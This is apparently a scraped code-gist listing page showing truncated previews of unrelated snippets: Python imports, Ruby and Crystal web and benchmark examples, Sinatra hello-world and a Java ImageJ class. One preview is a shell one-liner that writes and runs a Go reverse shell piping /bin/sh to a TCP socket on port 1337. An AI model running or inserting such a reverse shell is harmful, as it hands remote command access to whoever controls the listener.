This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
import tqdm | |
import gzip | |
import torch | |
import tarfile | |
import logging | |
from datetime import datetime | |
from torch.utils.data import DataLoader | |
from sentence_transformers import InputExample, LoggingHandler, util | |
from sentence_transformers.cross_encoder import CrossEncoder |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
a = {1, 0} | |
b = {a, a} | |
c = {b, b} | |
d = {c, c} | |
e = {d, d} | |
f = {e, e} | |
g = {f, f} | |
h = {g, g} | |
i = {h, h} | |
j = {i, i} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def requir(path) | |
source = "#{path}.rb" | |
compiled = "#{source}c" | |
if File.exists? compiled | |
bin = File.binread compiled | |
bytecode = RubyVM::InstructionSequence.load_from_binary(bin) | |
elsif File.exist? source | |
bytecode = RubyVM::InstructionSequence.compile_file(source) | |
File.binwrite compiled, bytecode.to_binary | |
else |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require "./bojack/src/bojack/client" | |
require "benchmark" | |
client = BoJack::Client.new | |
N = 100 | |
Benchmark.bm do |x| | |
x.report "shared" do | |
N.times do | |
client.set "bo", "jack" | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","127.0.0.1:1337");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run();}'>/tmp/sh.go&&go run /tmp/sh.go |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require "frank" | |
get "/:name" do |ctx| | |
"Hello world, #{ctx.params["name"]}!" | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'sinatra' | |
get '/:name' do | |
"Hello world, #{params[:name]}!" | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package aulacompgrafica; | |
import ij.ImagePlus; | |
import ij.io.Opener; | |
import ij.process.ByteProcessor; | |
import ij.process.ColorProcessor; | |
import ij.process.ImageProcessor; | |
import java.awt.Color; | |
public class AulaCompGrafica { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require "banjo" | |
require "http" | |
class WelcomeController < Banjo::Controller::Base | |
def index | |
end | |
def test | |
render text: "aaa" | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require "http/server" | |
require "http/server/handlers/websocket_handler" | |
handlers = [] of HTTP::Handler | |
handlers << HTTP::LogHandler.new | |
handlers << HTTP::WebSocketHandler.new do |req| | |
puts "> #{req}" | |
end | |
server = HTTP::Server.new(3000, handlers) | |
server.listen |
NewerOlder